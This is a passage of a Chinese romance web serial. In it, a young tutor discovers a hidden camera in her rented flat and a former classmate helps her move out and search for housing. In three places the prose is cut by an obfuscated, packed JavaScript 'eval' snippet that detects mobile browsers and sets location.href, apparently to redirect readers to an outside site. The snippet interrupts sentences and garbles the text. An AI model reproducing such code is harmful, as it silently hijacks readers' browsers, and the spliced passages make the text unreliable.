任丽娟把那些劝她回清潭的话咽回去,“好了好了,别哭了,你现在是老师呢,就别哭了,我相信你,对你有信心。” “老师为什么不能哭?” “你爸干了几十年教育,遇到的学生比你多了去了,什么样子的都有,你什么时候见你爸哭过?” “我爸是男人啊!” 任丽娟反问:“男人为什么不能哭?是你爸比较坚强。” 姜至:“……” 钱难挣,屎难吃。 但哭完之后也得咬牙忍着。 一个班十几个学生,有程度好的有程度差的,不可能完全按着某一个学生的进度来,姜至只能想办法慢慢磨合,每天都磨破了嘴皮子跟家长沟通,跟学生沟通,睡觉都在琢磨怎么才能把课讲得更有吸引力,变着花样设计上课形式,总算是摸出来点门路,结果初一这边刚有点走上正轨的意思,校长紧跟着又给了她两个高三一对一。 一节课她能拿两百,有钱不赚是傻子,于是姜至每天上完两个小时的班课,还得去当家教。 早上八点半到岗,晚上再研究研究教案,备备第二天的课,回家就到了晚上十点。 早出晚归,分不出其他精力去干别的,每天连觉都睡不够。 三月中旬,好不容易这一个阶段的课能告一段落,不用早起上课,姜至以为能歇歇了,却忘了还有续报期这一说。 这期间每晚都要加班到十一点多,第三天续报,姜至熬得头疼,下班后跟乔映谣吐槽教培真不是人干的活,而且跟初中生接触她感觉心累到不行,有点怀疑自己将来要是支教,会不会也被那帮孩子搞得焦头烂额。 除此之外,唯一比较让人感到开心和慰藉的是续报期结束,她第一个月工资发了六千多块,家长反馈也还不错。 姜至把工资条和家长反馈统统发给了任丽娟,让她挑个自己喜欢的礼物,她付钱。 续报期最后一天,姜至没吃晚饭,十点钟就把资料整理好了,明天就是周六,她已经迫不及待要回床上大睡一觉,这段时间早起晚睡,精神头都快熬没了,在公司楼下大堂坐着等滴滴都眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050651|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮打架,打来的电话也没看是谁,闭着眼就接了起来。 “姜至。” 熟悉的男声让姜至一下子清醒,看了眼来电人,是个没保存的陌生号码,她淡声:“有事吗?” “你去西途了?”梁嘉西问:“什么时候回来?” 姜至打断他:“梁嘉西,我们已经分手了。” 梁嘉西噤声,交往那么久,他是第一次听到姜至用这样的语气说话。 “我没有跟前男友当朋友的习惯,不要再给我打电话了,也不要再找乔映谣打听我的事。” 姜至挂断电话,拉黑这个号码,头疼的劲儿再次涌上来,想起她撞见梁嘉西的那场饭局,也是她下定决心分手的最后一根稻草。 其实之前他们之间也有很多问题,只不过那时她心情算不上好,刚刚经历了第三次考试失败,正因为找不到工作而焦虑,没心思去“修补”她的爱情。 见她焦虑,梁嘉西总是说:“没事啊宝贝,我养你。” 有很多男人一开始都是这么说的,但最后反倒开始嫌弃全职太太。 姜至知道梁嘉西有说这话的资本,但她不想成为那样的人,她必须,要有一份可以独立养活自己的工作,绝不会把自己陷入那样的窘迫境地,凡事都要伸手找人要钱,凡事都得看别人脸色。 而且梁嘉西的钱也不是他的钱,他从小到大花的钱都是靠他爸妈得来的,分手之后姜至才知道虽然毕业后梁嘉西就进了自家公司,管理着一家酒店,可他完全没有好好上过班,去了两三天就嫌那些文件像天书,没耐心看,把事情全权交给职业经理人去打理,每天快活得像是神仙,也瞒着她干了很多事。 姜至搞不明白她当初为什么会答应梁嘉西跟他在一起,为了猎奇吗?那眼是够瞎的。 滴滴到了,姜至戴上手套,柔软的触感让她忽然想起李惟钧。 李惟钧把他那间“盛夏将至”打理得很好,有漂亮的小院,温暖的壁炉,屋子也打扫得干干净净,而且他做的面条和苹果热橙茶也一级棒。 他是个极其有耐心的人,也很细致,总是跟她笑脸相迎。 这段时间忙工作忙的她都忘了盛夏将至,忘了李惟钧,既然未来要在西途带上一段时间,那跟他多联系联系总没坏处,但李惟钧似乎也忘了她,他们俩的聊天停留在一个多月前。 不过他的朋友圈倒是经常更新,依旧是“盛夏将至”和“飞越”跳伞基地的宣传贴。 看上去也挺忙。 想了想,姜至还是放弃了和他说话,不如等明天睡醒了直接去民宿一趟。 进了家门,姜至本想着先拿睡衣去洗澡,但实在太困,只脱了外套躺在床上倒头就睡。 结果凌晨两点被热醒,身上还穿着高领毛衣,屋里暖气温度很高,她被捂出一身汗,身上潮乎乎的。 换好睡衣,姜至到客厅准备喝点儿水再去睡。 这栋公寓是个老公寓了,楼上住户基本都是上了年纪的,睡觉很早,一到晚上安静的连根针掉地上都能听见。 姜至喝着水,模模糊糊听见一阵嗡嗡的声音。 她还以为是手机,正低头找包时,却发现声音不是从包里传出来的。姜至放下水杯仔细听,那阵嗡嗡震动的声音好像就在这间屋子里。 屋子里有怪音。 以前从没注意过有声音,她睡觉很死。 姜至汗毛竖起来一点,打开客厅的灯,声音没了,再关上灯,也没再响,她还以为是自己睡迷糊幻听,拿了手机进卧室,可没关门,那声音又开始响了。 听着像是…… 浑身鸡皮疙瘩一下子起来,姜至手脚都僵住,略有些迟疑地用摄像头在客厅里扫了一圈,惊悚的是,在窗帘盒的角落里,真的发现一个红点。 是摄像头。 正在转动的摄像头。 安装它的人此刻应该就在屏幕后窥探着她的屋子。 姜至整张脸都木了,不敢出声,也喊不出来什么声音,脸色煞白,腿也软,顺着门框瘫到地上。 她居然在一间有摄像头的屋子住了一个月。 心跳已经快到不像样了,她从没遇到过这种事,脑子一片空白,不知道该怎么办,而且极度恐惧让她觉得周围全都是摄像头在转,浑身都不舒服,隔了好半天才哆哆嗦嗦撑着墙站起来把所有灯全打开,然后抖着手给摄像头拍了张照片,到厨房找了把水果刀握在手里。 接下来该干什么? 应该找人立刻马上到家里来,站在她身边。 姜至迫切地需要一个人陪在她身边。 她需要李惟钧。 她完全忘记了应该先报警,也忘记了现在是几点。 直到电话被接通,张口说话时,姜至发现自己的嗓子依然是软的,声音也是飘的,她深呼吸,颤抖着叫出李惟钧的名字。 8. 冬与春的距离(7) 摄像头很小,还是个黑色的,而且放得位置很隐蔽,紧贴着窗帘盒内侧,不仔细看根本看不出来,姜至签了合同住进来那天觉得很干净,也就没有怎么仔细收拾,只给地面和家具消了消毒,一时疏忽大意才没有把整间房子检查一遍。 姜至连夜联系了房东,房东又赶紧联系了上一个租户,麻烦的是上一个租户也不知道家里为什么会有监控。警察只能先取了证,连同摄像头一块摘下来带走。 李惟钧送他们出门,警察叮嘱他手机保持畅通,等白天的时候去做笔录。 回头一看,姜至穿着睡衣,白着一张脸紧跟在他身后,寸步不离。 “没事了,”李惟钧看了眼手机,说:“快四点了,再去睡会儿吧。” 顿了顿,又加了句:“我在客厅守着。” 姜至心有余悸地摇摇头:“睡不着了。这么晚了,麻烦你了啊。” 李惟钧接到电话的时候正在睡觉,他也是昨晚才刚刚回到西途,最近半个月里一直在省外出差,毕业后他在一家互联网科技公司做开发,这次是他负责的“让爱回家”网站要被收购,其中涉及到很多复杂的事情,不是他一个人能说了算的,所以耽误的时间久了些,没想到刚回来就让他赶上这么大的一个事。 万幸的是他赶上了,如果姜至给他打电话时他没在西途…… 李惟钧不敢再想下去,也十分后怕,当时她的声音带着哭腔,叫他的名字也磕磕巴巴的,等他着急忙慌赶过来时,姜至为了让自己有点安全感,正握着水果刀等在门口,看见他差点都哭出来,使劲忍了忍才没掉眼泪,水果刀咣当一声被扔到地板上。 他捡起水果刀,也顾不上别的,用自己的手握住她,姜至用力攥住,柔软的手掌冷得像是冰块。 一个女孩子孤家寡人,不远千里从自己从小生活到大的城市搬来这个陌生的地方,又从没遇到过这种事情,大半夜的肯定被吓得不轻,他的心也跟着被揪到了一起。 “你困不困?”姜至观察着他的脸,视线往下挪了挪,才发现李惟钧的外套里面也是家居服,回想起他接起电话的声音,略沉,用带着浓重睡意的低哑叫她“姜至”,短短两个字,却给了她无比踏实的感觉,她抿抿唇:“你困的话——” 她模样有些纠结,不想要让他走,眼睛往沙发和卧室瞟。 李惟钧的手抬起来,犹豫了一秒,放在她肩头上轻轻拍了拍,“没事儿,我明天能休息,在这儿陪着你到天亮。再去眯一会儿吧,不是还得上班?” “不去了,我跟校长说了请一天假,”姜至下定决心,“我要搬出去,现在。” 幸好只有客厅有摄像头,幸好卫生间在她的卧室里,姜至想起她洗澡时的猖狂样子就觉得心里毛毛的,她习惯洗了澡之后先裹上浴巾,擦完身体乳,等身上的水彻底干了之后再穿内裤,甚至有时候为了方便给全身涂身体乳会什么也不穿,幸好她没有在客厅那样过。 而且屋子里的地暖很热,她常穿的睡衣款式基本都是吊带,晚上下班回来睡觉时也从没穿过内衣,不知道摄像头拍到多少。 反正这屋子是一点也住不下去了,实在不舒服,那个恐惧的劲儿还没缓回来,一朝被蛇咬十年怕井绳,她现在觉得这房子哪哪都不顺眼,继续在这儿住下去天天都得做噩梦。 “好,我帮你收拾客厅的东西,你去收衣服。”李惟钧在客厅环视了一圈,她置办了很多东西,全身镜,茶具,装饰品都是新的,“有大一点的纸箱吗?” “没有,我都扔了。” “我车里有,我先下去拿一趟,很快回来,行吗?” 姜至点了下头,眼里藏着一点依赖:“那你快点哦。” 李惟钧看了她一会儿,低头说:“穿上袜子。” “嗯?”姜至低头,警察来之前她胡乱把昨天的牛仔裤穿上了,此刻身上的衣服很混搭,上半身是吊带睡裙,下半身是牛仔裤,外面裹着一件米老鼠睡袍,光脚踩着一双凉拖,意识到李惟钧在看,她不自在地蜷了蜷脚趾。 李惟钧弯唇,“跟我一起下去拿?” 这话让姜至猛然感觉自己像个跟屁虫,她明明觉得自己天不怕地不怕,略带了些赧然地说:“我的意思是……我不是那个意思!我是想别耽误你的时间。” 李惟钧轻笑了下,“行,那我自己下去拿一趟,你先收拾。” 临下楼前,又望了眼她光裸的脚,“穿一双袜子吧,凌晨没有白天那么暖和。” 趁李惟钧下楼,姜至迅速换了身衣服,穿上袜子,李惟钧手脚利索,拿着箱子上来后很快把客厅的东西裹了个严严实实搬到后备箱里,凌晨四点,姜至从公寓搬走,准备先去“盛夏将至”凑活一晚。 路上,姜至在网上看房子,打算利用明天一天时间把房子搞定。她跟原来的房东约好了季付,押了一个月押金,出了这档子事,房东怕姜至在网上乱说,把押金和剩余的房租都给退了,所以现在她手头有一部分闲钱,但是整租太贵,合租倒是便宜,就是环境不算太好,现在自己一个人住还遇到了摄像头,要是合租遇到不好相处的室友,麻烦只会更多。 “看到一个青年公寓,新青年你知道吗?这里怎么样?”她问李惟钧。 “那其实就是个民宿,也是往外租床位的,一个屋可能放六张床,租给六个人,要是单独一间单人卧室的话房费估计要花不少。” “大概多少你知道吗?” 夜晚的街灯昏黄,错落地打在李惟钧脸上,时明时暗,凌晨的马路上空无一人,只有他们两个人的呼吸声交织在一起,姜至不再感到害怕,关掉手机,看着他的侧脸,缓声说:“我来西途是为了报西部计划,打算报教师岗。" 李惟钧扭头极快地和她对视一眼,路灯照过来,她眼睛亮晶晶的。 “其实我一直都觉得丢人才没跟你说,毕业之后我在家里蹲了两年,考公考编失败了三次,最后实在是没劲儿学了,才想到要来西途的。”姜至完全没有了任何纠结或者羞耻,说出这些的时候也觉得无比轻松,要不是他现在在开车,她绝对一巴掌拍到他肩上了,扬声说:“我可把你当自己人了哦!” 在他心里早就是了,但李惟钧觉得她的“自己人”分量更重,那股子跟她说“生日快乐”的认真劲儿又冒出来了,应声:“嗯,我也是。” 姜至被他严阵以待的模样逗乐,“西部计划我有信心的,也做了很多准备。” 李惟钧温声说:“我相信你,你很适合当老师。” 李惟钧对此并不感到意外。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050652|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高中就有好多人说她适合当老师,现在想想,那时候的姜至好像浑身都是优点,性格也好,在班里只有被夸的份,“适合当老师”只是其中一个很微不足道的夸赞。 那时候的班会课公开课都是她来主持,凡是有需要在别人面前进行展示的机会,所有人第一反应想到的就是她,她一点也不怯场,落落大方,很给班主任和任课老师长脸。 而且讲题的时候也很有耐心,无论讲多少遍都看不见她着急。 不过,姜至可能忘了,他是她唯一一个凶过的学生。 她可能也忘了,她教的生气时喊过他笨蛋,轮到他教她的时候,她没弄明白,还是叫他笨蛋。 无论怎么样他都是笨蛋。 李惟钧不会忘。 “三月底报名,五月底选拔结束,六月份体检,七月份培训上岗,大概是这样,现在离上岗还有几个月的时间,如果能入职我就可以住单位了,要是那里房租还可以的话我就先租下来凑活一阵子。” “具体的价位我给你问问,明天要去看看吗?” 姜至“嗯”了声,“得尽快解决房子的问题,不然我还得再接着请假,这个月只能请一天假,再多的话全勤就没了,那得损失不少钱。” 李惟钧想说什么,但没说,“我跟你一起过去,明天刚好要在民宿待着,让他们照看就行。” 车开到盛夏将至,正巧碰上有人来住店,前台站着一个男生在办入住,看着年纪不大,姜至跟在李惟钧后头进门,听见那男生喊他:“哥?你怎么这个点儿过来了?” 男生又看了看他身后的姜至和他手里那个天蓝色箱子,懵了,随后立刻开始浮想联翩。 李惟钧的身子探过吧台,从电脑旁边拿了张房卡,跟男生说:“208的房标一下入住。” 男生问李惟钧:“住几天?” 姜至掏身份证给他,李惟钧一时手快,抬胳膊拦下来,掌心盖在她手指上,短暂一瞬,意识到掌心下是她纤细的指尖,很快便放下来,“明天再说,先上去。” 也对,万一明天租房不顺利还是得在他这儿住,姜至作罢,指尖的皮肤热热的。 男生的眼神在他俩身上来回转,眼里迸出光,李惟钧扫他一眼,让他闭嘴,介绍:“高越冬,叫他冬子就行。” “这是姜至,我朋友。” 高越冬很热情,很自来熟,“小姜姐!” 姜至对他口中“朋友”这个新称谓稀奇了一会儿,一时没反应过来,断片了几秒才想起来回应高越冬。 到底是年轻小男生,心里有事藏不住,八卦他俩的心思全写在脸上。 姜至没有说什么,神色坦然,李惟钧见状便也没制止,提着箱子带她上楼。 还是之前那个房间,没想到时隔一个月又回来了,还是在这样的情形下回来的。 但这次她完全没有上次的茫然无措,反倒觉得很习惯。 屋里没变化,只是地板上多了一个加湿器,姜至在沙发上坐了会儿,情绪来去很快,来到一个熟悉且舒适的环境,眼皮就开始发沉,正巧又是她拿睡衣准备换的时候,李惟钧再次敲响了房门。 这次他拿来的是一个香薰蜡烛,橘子味的。 她高中常用这个。 9. 冬与春的距离(8) 姜至真是不知道该说什么了,心里暖融融又复杂,李惟钧好像一个哆啦A梦啊,而且他这哆啦A梦口袋里的东西都是她喜欢的。 她惊喜道:“你店里居然还有香薰?你也喜欢这个味道啊。” 李惟钧对前一个问题不置可否,只回答:“这个味儿还挺安神的,睡不着就点上。” 姜至盯着他外套里的家居服,下半身是浅灰色长裤,上半身是一件略宽松的圆领黑色短袖,衬得皮肤很白,“谢谢啦,你也快去休息吧,耽误你这么久的时间。” 李惟钧说好,嘱咐她:“睡饱再起床,你的脸色很差,姜至。房子的事情不用着急,有合适的我也帮你看着。” 姜至眨眨眼睛,嘴角带着笑朝他晃了晃手里的香薰,“晚安。” 李惟钧也说:“晚安。” 姜至关了灯点上香薰放在床头柜上,黄晕的火苗给屋子蒙上一层暖黄,米色的蜡烛融化,散发出浅淡的气味,是她熟悉的柑橘味,她最喜欢吃各种各样品种的橘子和橙子,酸的甜的都喜欢,也喜欢各种各样橘子味道的东西。 刚上高一那会儿她是住宿生,但她这人当时有个毛病,就是太认床,开学军训那几天根本没睡好觉,一直失眠,军训结束回到家就把在家里常用的香薰蜡烛也带到学校里去了,心想有熟悉的味道应该能睡得好点,结果最后还是因为没扛住失眠,办了走读。 之后上了大学不经常回家,认床的毛病才好起来,就没有再用过这种香薰蜡烛,也很久没有再买过。 姜至打了个哈欠,眼皮发沉,烛心的火焰在眼睛里摇摇晃晃,到后面越来越模糊,合上眼之前,姜至才想起来这香薰蜡烛是她初中随便在清潭一家文具饰品店里买到的,现在那家店早就关门了,那李惟钧是怎么搞到的? * “我那一小箱子东西呢?” 方其澜好不容易有了个休息日,来盛夏将至走了一圈,结果发现她放这儿的洗护用品全不见了,连带着那些还没来得及用的干发帽护发精油也都不见了,就剩个空箱子扔这儿。 李惟钧正在帮郑阿姨搬菜,也没抬头,弯着腰一只胳膊抱起三颗白菜往屋里走,“我再给你买新的。” “你用了啊?”方其澜说:“我怎么没在一楼卫生间看到呢,你一天洗八百遍澡啊用那么快。” “不是,给客人拿走用了。” 方其澜扬手要揍他,又看他抱了满怀大白菜,把手放下去,恨铁不成钢,“收费没!你知道那一套算下来多贵吗!” 看他这样方其澜就知道他没收人家钱,正想发作,脑袋一转弯,脸上又堆起笑:“给你那位高中同学用了?” 李惟钧还是没答,姜至还在楼上,应该没醒,要是说了是给姜至用的方其澜应该就走不了了,她得蹲到姜至下楼然后跟人家问东问西扯东扯西。 姜至估计一时难以接受方其澜的热情。 尤其是一个正在催他找对象谈恋爱的方其澜。 “哎呀!”方其澜叹了声,眼睛弯起来,和李惟钧很像。 她觉得这位姑娘真是个神人!之前还觉得这俩人没戏,现在又忽然觉得有戏,因为李惟钧身边的女性朋友实在太少了,根本没有能让她拿来比较的,所以目前为止,他那位高中同学应该是她知道的人里,李惟钧态度最特殊的一位了,什么好的都给人家用,生怕招待不周。 太过于忽视某个人,或者太过于关注某个人,对李惟钧来说都是不对劲的。 方其澜是真的担心李惟孤寡一辈子。 他前二十几年的生活过得挺苦的,他们家也过的支离破碎,什么都没剩下,现在她有了另一半有了家,就只剩弟弟一个人了,她只希望他未来能过得幸福些。 李惟钧没说姜至就在楼上,搬完菜问她:“你什么时候走?” 方其澜斜他一眼:“……这店我也有股份!我刚来你就撵我走?” “这店你看也看了,我这不弄的挺好,赶紧回吧,”李惟钧催她:“我姐夫就盼着你休息呢,省得他又说我。” “他说你什么?” “说我占他老婆的关注,”李惟钧眼含无奈,模仿林空幽怨的语气说:“还说你一闲着满脑子就是给我寻摸女朋友,眼里都没他这个老公了!这像话吗!” 方其澜右胳膊一抬,按着李惟钧的后脖颈勾住,往下一压,虽然她人瘦,但练过擒拿格斗的身板力量感满满,李惟钧的背脊被迫弯下来,不用劲儿还真挣脱不出来,她左手指着他,颇有怒气地说:“你姐夫说的不对吗!人生大事除了事业,还有另一半啊!咱们家就剩你一个孤家寡人了,得抓点儿紧找个能跟你过到一起去,你们能体谅对方包容对方的,就现在这社会,你以为找个这样的女孩子简单吗!” 李惟钧也没用力气,就这么任由方其澜用“擒拿”这招跟他闹着玩,笑的肩膀一抖一抖的,拍了拍她手臂,“好了好了我听你的!但你能别让我姐夫独守空房了吗?” 方其澜松开他。 李惟钧直起身,转了转脖子,“我送你。” “用不着,”方其澜摆摆手让他回去:“明天上家里来吃饭。” “再说吧。”李惟钧说。 “……不给你介绍对象!” 李惟钧又笑:“不是那个,我真不确定明天有事没事。” 方其澜打着火,眼睛都快掀到天上去了,留下一句:“那干脆别来了,什么时候找了女朋友直接给我带家里去,省得我看见你自己一个人生气。” 李惟钧:“……” 看着方其澜的车走远,李惟钧回到院子,把地上掉的菜叶子收拾干净,再一进屋,姜至已经下楼了,正在前台结算房钱,高越冬拿着她身份证,正跟她进行语言拉扯。 李惟钧眼皮一跳。 高越冬不知道该不该收她的钱,李惟钧不发话他不知道这俩人什么情况,正犹豫着,李惟钧来了,他朝高越冬使了个眼神,高越冬立马把身份证往姜至手里一塞,钻到后厨帮忙去了。 李惟钧问姜至:“昨晚睡得怎么样?半夜又来了两个住店的,声儿有点大,吵着你了吗?” “没有,”姜至摇摇头,“我没听见,睡得挺香的。” 她今天没怎么化妆,没有上次离开时那么精致明艳,只涂了嘴唇,但她本来就挺白的,本身就很漂亮,少了化妆品的点缀反倒显得整个人更柔和了。 “准备差不多咱们就出发,我刚才联系了你说的那个公寓,他们老板大概九点才能过去。” 姜至抬眼看着李惟钧,自然光线下才发现他肤色是偏小麦色的,最近一个月没联系,他好像比上次见面时瘦了,脸部线条更突出,本来不瘦的时候这张脸就是属祸水的,一瘦就更是了,五官锋利,很张扬,她说:“没事儿,我自己过去也行,你有事就去忙你的。” 李惟钧垂眸,不知道哪里出了什么问题。 她自己大概都不知道一件事,她心里有事会写在眼睛里。 跟她越熟悉的人她越会把情绪写到眼睛里让人家看到。 等着被哄呢。 李惟钧又高兴,但又不高兴。 “怎么了?”李惟钧手抬起来放到吧台上,步子往前进了一点,空间被压缩,他们都没有感受到,他温声问她。 姜至就是有点点别扭,不知道自己在别扭什么,好像是在别扭李惟钧,又好像是在别扭她自己。 刚才睡醒,在楼上,姜至看到他和一个女人在院子里,两个人说话时的表情和打打闹闹的动作都挺亲昵,她从来没有在李惟钧的身上见过那种姿态。 女朋友吧。 洗护用品和护发精油干发帽应该就是那位的了。 姜至回想起这两天发生的事,凌晨警察来之前,她似乎还拉住了李惟钧的手,那会儿是真的很害怕,什么都忘了,也没想其他的东西,只想着抓住点儿什么得到安全感,而李惟钧宽厚温热的手掌也确实给了她那种安全感,这会儿冷静下来才发现那样做很没有边界感。 她没有边界感,他也没有。 但他不能没有啊,有女朋友的人怎么可以这样干呢! 姜至想,早知道听乔映谣的话问问他了,早知道就不找他来了,很多事情其实过去那一阵子就好,她完全可以自己搞定,只是当时脑子乱了,等缓过来她可以自己解决。 而且李惟钧也是,为什么都不跟她说呢。 这样想着,姜至的眼神没有之前那么温和了,说着口是心非的话,“就是怕太麻烦你。” 她抿抿唇,却忽然觉得,凭什么让自己这么别扭?有事就该直说啊!他都那样问了她还顾左右而言他,有用吗? 于是心一横,眼神很有力,直勾勾瞧着他,“你女朋友看到不好,你跟她说这件事了吗?今天要和我一起去看房子。幸亏咱们还没出发,不过我觉得你还是跟她说一说比较好。” 李惟钧瞬间了然,肩膀一松,心脏“扑通”一下,攥紧的手松开,早知道让方其澜见见姜至了。 哎,催她走早了。 他琢磨着要不,再让姐回来?应该还没走远吧。 他伏了伏身子,尽量让姜至不要仰头,能让她平视着他,说:“你看到了?那是我姐姐。有血缘关系的亲姐姐,比我大七岁,方其澜。” 姜至表情凝滞住…… “我没有交过女朋友,姜至。”李惟钧看着她呆愣的眼睛,漆黑的瞳仁,视线划到殷红的嘴唇上时,顿了下,十分耐心地重复:“从来没有。” 姜至懵了,是她姐姐啊…… 误会了,乌龙搞大了,骂人骂早了,还好没指着他鼻子骂。 她一时不知道该说什么,摸了摸耳垂,“哦……是你姐姐啊,那我误会了,比你大七岁?真看不出来,长得好年轻哦,感觉跟你岁数差不多。” 李惟钧心里还是懊恼,该让方其澜来听听这种夸赞:“我姐就爱听这种话。” 不过,姜至又反应过来,他貌似是在跟她“强调”这件事——“他没有交过女朋友”的这件事。 这是姜至从李惟钧的一字一句和眼神里读出来的。 他突然笑起来,眼睛非常亮,极为真诚地说:“真的,没骗你。” 更祸水了…… “那你怎么也不找呢?”她视线往一边瞟,随口问道,身边跟他这么大的人确实基本上都已经谈过恋爱了,“你要求很高啊?” 李惟钧微叹了口气,却没有那种失落,看上去反倒很淡然,稍稍拖着点音,慢悠悠道:“是啊,就等着我那一个有缘人呢。” 姜至心说,那你可单着吧,要求太高追求完美,那就注定孤寡。 她眼眸一垂,突然意识到,他们俩靠的很近很近,他一只手搭在她身侧的吧台上,这样的姿势下她几近被他拢在怀抱里。 太近了。 他们是什么时候靠的这么近了呢? 姜至僵住了身子,闻到他身上有股很好闻的香气,也好熟悉啊,想不起来是什么了…… 见她盯着自己的手,李惟钧也猛然意识到自己刚才有点急了,太着急跟她解释,不过姿势仍是没变,只是语气缓和了下说:“我姐要是赶上休息日有空了也会来店里看看,装修的时候她添了点儿钱。不过她来的次数不多,她是警察,而且还是刑警,平常很忙。” 姜至回过神,琢磨几秒琢磨出一句:“你俩还挺像的,一笑起来很像。” 李惟钧拎起车钥匙,笑说:“我们俩长得都像我妈。” “走吗?”李惟钧问她:“这会儿过去正好能碰见他们老板上班。” 刚才的乌龙让姜至觉得自己得装一装,毕竟一会儿说不要他去一会儿又说要他去挺古怪的,看了眼手机上的时间,故作惊讶地说:“也是啊!都这么晚了,我今天早上睡过了头,那走吧,再不走就来不及了。” 李惟钧配合地点点头,笑着跟在她身后,姜至拉开副驾驶的门才发现他换车了:“你换新车了?” “上次那辆车是我姐夫的,这辆是我的,昨天出差到家刚刚把它提回来,我在省外出了半个月的差,一直没在西途。” 怪不得,姜至说:“挺忙的吧。” “嗯,主要是得连轴转,见了很多人,杂事太多,所以一直没问你最近情况,不过幸好你给我打电话了,这事儿你告诉你爸妈了吗?”李惟钧说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050653|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜至说没有,“没敢跟他们说,他们要是知道绝对得冲过来带我走。我那工作虽然忙,但是工资发得准时,公司环境也还可以,暂时还不太想离职。” “看到你在朋友圈发学生合照了。” “我带了两个初一一个初三,还有两个高三一对一。” “那是挺忙的。” “是吧,每天说话靠喊,要不镇不住场子,嗓子都要冒烟了,幸亏我嗓门本来就比较大,不然肯定得哑。” 李惟钧似乎对此深有感触,“嗯,你确实不太擅长小声说话。” “什么?” “我的意思是你声音很洪亮。” 她又忘了。 盛夏将至离新青年不远,姜至和李惟钧东扯西扯,没一会儿就到了目的地。 老板在保安亭等着他们,李惟钧开着车七拐八拐停在一栋居民楼下。 这公寓从大楼外观来看,时间够老的了。 “别看外面不怎么好看,但房子里面我这两年刚刚精装修了一遍。” 就在一楼,老板打开房门,里头就是一个普通的三室一厅格局,不过空间不大。 “那边两间都是租出去的民宿,你要是租单间的话就是这一间了。” 卧室很小,一进门是一张小课桌,紧挨着小课桌放了一张单人床,卫生间在床脚的位置。 一览无余。 不过倒是干净。 老板说:“小是小了点,但这价位已经很不错了,平常民宿客流量不多的时候这一整套房子就你自己住,很自由,厨房也能随便用,洗衣机就在厨房里。” 李惟钧没说话,他双臂展开估计都比这间卧室宽,床是紧贴着墙放的,旁边的过道只能容纳一个人走。 姜至问老板:“月租多少?” 老板看了眼李惟钧,知道他也是开民宿的,便没给高价,“850一个月。月付季付年付都行,而且wifi我这儿已经给装好了,不需要你再交网费,家电也是齐全的,煤气灶也能用,拎包入住就行,唯一需要你自己掏的就是水电费。” 李惟钧打量几个墙角:“电表和水表每个屋是分开的?” “这个屋一直都是租单间,所以接的是新电表。” 正说着,隔壁的租床位的人回来了,是对情侣,老板跟他们打了个照面,那对情侣进了屋,关上门。 姜至还想再压压价,说:“您这屋确实挺干净也挺方便的,我们约了别的房子,先去看看别的房再联系您。” “是!人家退了房我们就抓紧收拾,干净得很,而且这小区门口就是饭店,往东走几百米就有公交站,离景区也近,干啥都方便!你转一圈再看我这儿性价比绝对高!” 李惟钧侧着身走到卫生间门口,上厕所睡觉必须得拉窗帘,卫生间的窗户安了三扇,能很清楚看到楼外头人来人往。 “现在是冬天还好,老小区一楼夏天的时候下水道不反味儿吗?” 老板被李惟钧问住了,“那房租再给你便宜点儿!800一个月。” 姜至和李惟钧对视一眼,正要说话,在屋里听见隔壁情侣吵架的声音。 隔音也算不上好,每晚估计都能听见现场直播。 老板可能也意识到了这个问题,连忙解释:“他们是住店的,两个晚上就退房了,隔壁是个大床房。” “行,”姜至说:“我们先去跟另一个房东碰个头再说。” 坐上车,姜至跟李惟钧吐槽,“你看见没,他那空调插头是锁着的,用空调得交钱吧。” “应该是,空调外壳都发黄了,估计用得时间不短,生产批次早,功率大,开着费电。” “要住吗?”李惟钧直白地说:“不太建议你住这间,他这儿是一楼,厕所还朝外,其实不太方便,隔音也肯定没有高层好,你没往里看,卫生间是蹲便,夏天很容易反味。” 姜至已经在找别的房了,“我觉得也不能租,先看看别的吧。” 逛到快四点,没什么收获,这个时候不太好租房,得考虑通勤距离,不能离公司太远,还得考虑安全问题,而且这周围有两个大学,有很多学生都在校外租房,剩下的房子不多了,姜至看了两间合租和一套整租,要不就是合租屋子脏乱差室友太邋遢,要不就是姜至觉得装修不满意,整租又只能一签签一年合同,租金太高,基本没什么合适的。 李惟钧陪她快逛了一天,从早上日出逛到傍晚日落,太阳在斜斜下坠她的心情也在斜斜下坠,再请一天假?那要扣35块钱呢,还得再跟别的老师调班补课,很麻烦,愿意换课的老师不多。 姜至在一边嘟囔,“没想到现在找个房合适的房还挺麻烦,要不就去住那个新青年?再压压价应该是可以的。” “还打算将就?时间一长,最多不超过一个星期,你就受不了了。” 姜至被他说得面上一臊,“……我也没那么挑剔好吧!” 